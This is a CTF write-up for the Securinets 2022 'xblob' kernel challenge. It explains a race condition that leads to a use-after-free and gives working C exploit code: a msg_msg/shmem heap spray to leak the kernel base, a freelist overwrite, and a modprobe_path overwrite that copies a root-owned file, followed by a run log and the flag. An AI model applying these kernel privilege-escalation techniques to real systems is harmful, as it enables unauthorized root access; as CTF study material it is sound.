Securinets CTF Quals 2022 - xblob
eXclusive BLOB
nc 167.99.37.61 9001
xblob was a kernel challenge, which provided a device, that can be used to read and write to a global buffer g_buf
in the kernel.
The memory for g_buf
gets allocated when opening the device:
static int module_open(struct inode *inode, struct file *file)
{
if (mutex)
return -EBUSY;
else
mutex = 1;
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf)
return -ENOMEM;
return 0;
}
It uses a mutex
variable there to check, if the file is already opened and disallows opening in that case.
On closing the file, it frees g_buf
without zeroing it out, which could potentially lead to an use-after-free.
static int module_close(struct inode *inode, struct file *file)
{
kfree(g_buf);
mutex = 0;
return 0;
}
From a first glance, mutex
will prevent, that we open the device twice. But it doesn’t use real locks and only checks on the mutex
variable when entering module_open
. So, if we manage to enter module_open
twice, before it sets mutex
, we could leverage the use-after-free.
For this, I just used a thread and repeated opening the file in the background thread and current process until I got two valid file handles.
int fd1 = -1;
int fd2 = -1;
void doopen(void* args) {
fd2= open("/dev/xblob", O_RDWR);
}
int main()
{
printf("[+] Try to race device opening to get two open fds\n");
char buffer[0x1000];
memset(buffer, 0, 0x1000);
pthread_t thread, thread2;
while(fd1 < 0 || fd2 < 0) {
fd1 = -1;
fd2 = -1;
pthread_create(&thread, NULL, doopen, NULL);
fd1 = open("/dev/xblob", O_RDWR);
pthread_join(thread, NULL);
if (fd1 <0 || fd2 < 0) {
close(fd1);
close(fd2);
}
}
printf("[+] Double open (%d / %d)\n", fd1, fd2);
...
This might take some time, but at some point, it’ll succeed and we’ll have two file handles.
We can now close one of those handles, which will free g_buf
, while the other file handle can still be used to read and write from g_buf
.
From here, we’ll just have to leak kernel base and can then use the usual modprobe_path
exploitation to copy the flag to an accessable directory, change the file permissions and read it from there.
For leaking, I allocated a msg_msg
struct into the freed g_buf
. We can then use the device read to read the msg_msg
header and overwrite the size of it. With another msg_recv
we can then read everything behind the msg_msg
struct.
Spraying the heap with some shmem
structs will give us a quite reliable leak.
printf("[+] Free g_buf by closing one fd\n");
close(fd1);
printf("[+] Allocate msg_msg into freed g_buf\n");
int msgid = msgalloc(qid, buffer, 0x100-0x10);
printf("[+] Read msg_msg header into buffer\n");
read(fd2, buffer, 0x100);
printf("[+] Increase msg_msg size via device write\n");
unsigned long *ptr = buffer+0x18;
*ptr = 0x1000;
write(fd2, buffer, 0x20);
printf("[+] Spray...\n");
spray_shmem(20, 0x100);
printf("[+] Try to leak kernel base\n");
msgrcv(qid, buffer, 0x1000, 1, 0);
unsigned long kleak = 0;
for(int i=0; i<0x1000; i+=8) {
ptr = buffer+i;
if (((*ptr) & (0xfff)) == 0xbc0) {
kleak = *ptr;
break;
}
}
unsigned long kbase = kleak - 0xeb2bc0;
unsigned long modprobe_path = kbase + 0xe37e20;
printf("- kernel leak : %p\n", kleak);
printf("- kernel base : %p\n", kbase);
printf("- modprobe : %p\n", modprobe_path);
if(kleak == 0) {
printf("[-] Failed to leak kernel base\n");
return -1;
}
Since the msg_msg
struct will also be freed after msg_recv
, we can now use the device write to overwrite the FD
pointer of the free chunk with an address slightly above modprobe_path
.
printf("[+] Overwrite fd to point above modprobe_path\n");
memset(buffer, 0, 0x100);
ptr = buffer;
*(ptr++) = 0xdead000000000100;
*(ptr++) = 0xdead000000000122;
ptr = buffer + 0x80;
*ptr = modprobe_path-0x30;
write(fd2, buffer, 0x100);
Now, we just have to allocate chunks until the free chunk in g_buf
is hit, after which our fake chunk would then get allocated.
With another allocation, we can then overwrite modprobe_path
.
printf("[+] Prepare modprobe scripts\n");
system("echo -ne '#!/bin/sh\n/bin/cp /root/flag.txt /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/copy.sh");
system("chmod +x /tmp/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");
...
printf("[+] Reallocate freed chunk\n");
while(hit == 0) {
memset(buffer, 0, 0x100);
strcpy(buffer+0x30, "/tmp/copy.sh\x00");
msgalloc(qid2, buffer, 0x100);
memset(buffer, 0x0, 0x100);
read(fd2, buffer, 0x100);
// Check, if chunk in g_buf got allocated
if (buffer[0x30] == '/') {
hit = 1;
}
}
// overwrite modprobe_path
printf("[+] Overwrite modprobe_path\n");
memset(buffer, 0, 0x100);
strcpy(buffer+0x30, "/tmp/copy.sh\x00");
msgalloc(qid2, buffer, 0x100);
modprobe_path
will now contain /tmp/copy.sh
, so we just have to trigger modprobe
, which will copy the flag from /root/flag.txt
to /tmp/flag
and make it readable.
// Execute modprobe_path exploitation
system("/tmp/dummy");
system("cat /tmp/flag");
$ python xpl.py 1
[*] Compile
[+] Opening connection to 167.99.37.61 on port 9001: Done
[+] Starting local process './exec.sh': pid 37248
[*] Process './exec.sh' stopped with exit code 0 (pid 37248)
[*] Booting
[+] Upload: Done
[*] Switching to interactive mode
$ ./pwn
[+] Prepare modprobe scripts
[+] Open msg_msg queues
[+] Try to race device opening to get two open fds
[+] Double open (3 / 4)
[+] Free g_buf by closing one fd
[+] Allocate msg_msg into freed g_buf
[+] Read msg_msg header into buffer
[+] Increase msg_msg size via device write
[+] Spray...
[+] spray shmem structs
[+] Try to leak kernel base
- kernel leak : 0xffffffffb72b2bc0
- kernel base : 0xffffffffb6400000
- modprobe : 0xffffffffb7237e20
[+] Overwrite fd to point above modprobe_path
[+] Reallocate freed chunk
[+] Overwrite modprobe_path
/tmp/dummy: line 1: \xff\xff\xff\xff: not found
securinets{1t's_v3ry_h4rd_2_byp4ss_SMAP_by_4bus1ng_timerfd_ctx}